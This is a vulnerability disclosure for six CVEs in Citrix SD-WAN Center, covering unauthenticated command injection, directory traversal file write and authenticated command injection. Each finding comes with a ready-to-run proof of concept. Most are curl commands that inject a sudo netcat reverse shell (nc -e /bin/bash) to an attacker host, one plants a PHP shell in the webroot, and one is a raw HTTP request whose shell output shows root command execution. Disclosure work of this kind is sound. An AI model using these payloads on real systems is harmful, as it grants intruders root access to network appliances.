Citrix SD-WAN Center Multiple Vulnerabilities

Multiple vulnerabilities were discovered in Citrix SD-WAN Center. Note: Since the 'www-data' user has been given 'sudo' privileges, all of the vulnerabilities can be exploited to gain root access.

CVE-2019-12985: /Collector/diagnostics/ping Unauthenticated Command Injection

The "ping" action in DiagnosticsController is susceptible to command injection by a remote, unauthenticated attacker. Specifically, the ping function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for 'ipAddress', 'pingCount', or 'packetSize'.

Proof of Concept

ncip=192.168.1.191
ncport=4444
target=192.168.1.198

curl --insecure -d 'ipAddress=%60sudo+/bin/nc+-nv+'$ncip'+'$ncport'+-e+/bin/bash%60' https://$target/Collector/diagnostics/ping

CVE-2019-12986: /Collector/diagnostics/trace_route Unauthenticated Command Injection

The "trace_route" action in DiagnosticsController is susceptible to command injection by a remote, unauthenticated attacker. Specifically, the trace_route function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for 'ipAddress'.

Proof of Concept

ncip=192.168.1.191
ncport=4444
target=192.168.1.198

curl --insecure -d 'ipAddress=%60sudo+/bin/nc+-nv+'$ncip'+'$ncport'+-e+/bin/bash%60' https://$target/Collector/diagnostics/trace_route

CVE-2019-12987: /Collector/storagemgmt/apply Unauthenticated Command Injection

The "apply" action in StorageMgmtController is susceptible to command injection by a remote, unauthenticated attacker. Specifically, the callStoragePerl function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying an array value with crafted values for 'action', 'host', 'path', or 'type'.

Proof of Concept

ncip=192.168.1.191
ncport=4444
target=192.168.1.198

curl --insecure 'https://'$target'/Collector/storagemgmt/apply?data%5B0%5D%5Bhost%5D=%60sudo+/bin/nc+-nv+'$ncip'+'$ncport'+-e+/bin/bash%60&data%5B0%5D%5Bpath%5D=mypath&data%5B0%5D%5Btype%5D=mytype'

CVE-2019-12988: /Collector/nms/addModifyZTDProxy Unauthenticated Command Injection

The "addModifyZTDProxy" action in NmsController is susceptible to command injection by a remote, unauthenticated attacker. Specifically, the addModifyZTDProxy function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for 'ztd_password'.

Proof of Concept

ncip=192.168.1.191
ncport=4444
target=192.168.1.198

curl --insecure 'https://'$target'/Collector/nms/addModifyZTDProxy?ztd_server=127.0.0.1&ztd_port=3333&ztd_username=user&ztd_password=$(sudo$IFS/bin/nc$IFS-nv$IFS$(/bin/echo$IFS-e$IFS\x3'$ncip')$IFS$(/bin/echo$IFS-e$IFS\x3'$ncport')$IFS-e$IFS/bin/bash)'

CVE-2019-12990: /Collector/appliancesettings/applianceSettingsFileTransfer Unauthenticated Directory Traversal File Write

The "applianceSettingsFileTransfer" action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for 'filename', 'filedata', and 'workspace_id'. This vulnerability can be exploited to write files to locations writable by the 'www-data' user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code.

Proof of Concept

ncip=192.168.1.191
ncport=4444
target=192.168.1.198

curl --insecure -d 'filename=../../../../../../home/talariuser/www/app/webroot/files/shell.php&filedata=' https://$target/Collector/appliancesettings/applianceSettingsFileTransfer
curl --insecure https://$target/talari/app/files/shell.php

CVE-2019-12992: /Users/create Authenticated Command Injection

The "create" action in UsersController is susceptible to command injection by a remote, authenticated attacker. Specifically, the create function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by supplying a crafted value for 'level'. Note: when $level is compared to an integer value (using ==), it is converted to 0 (int). This is why validation passes. Type checking would help here (===).

Proof of Concept

POST /Users/create HTTP/1.1
Host: 192.168.1.198
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.198/Users?rdx=true
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 149
Connection: close
Cookie: urlhashcomponent=; VWCSession=15jjk7584jmn9v5na2q6gspnc3

username=scooby&level=`sudo+touch+/var/tmp/vuln_6`&password=password&confirm_password=password&secAuth=false&csrf_token=9b97e4423f0f0bdf18e089b2de3c8e78

[email protected]:/opt/citrix/licensing/LS# ls -l /var/tmp
total 0
-rw-r--r-- 1 ctxlsuser lmadmin 0 Apr 12 01:32 lockCITRIX
-rw-r--r-- 1 root      root    0 Apr 12 02:49 vuln_6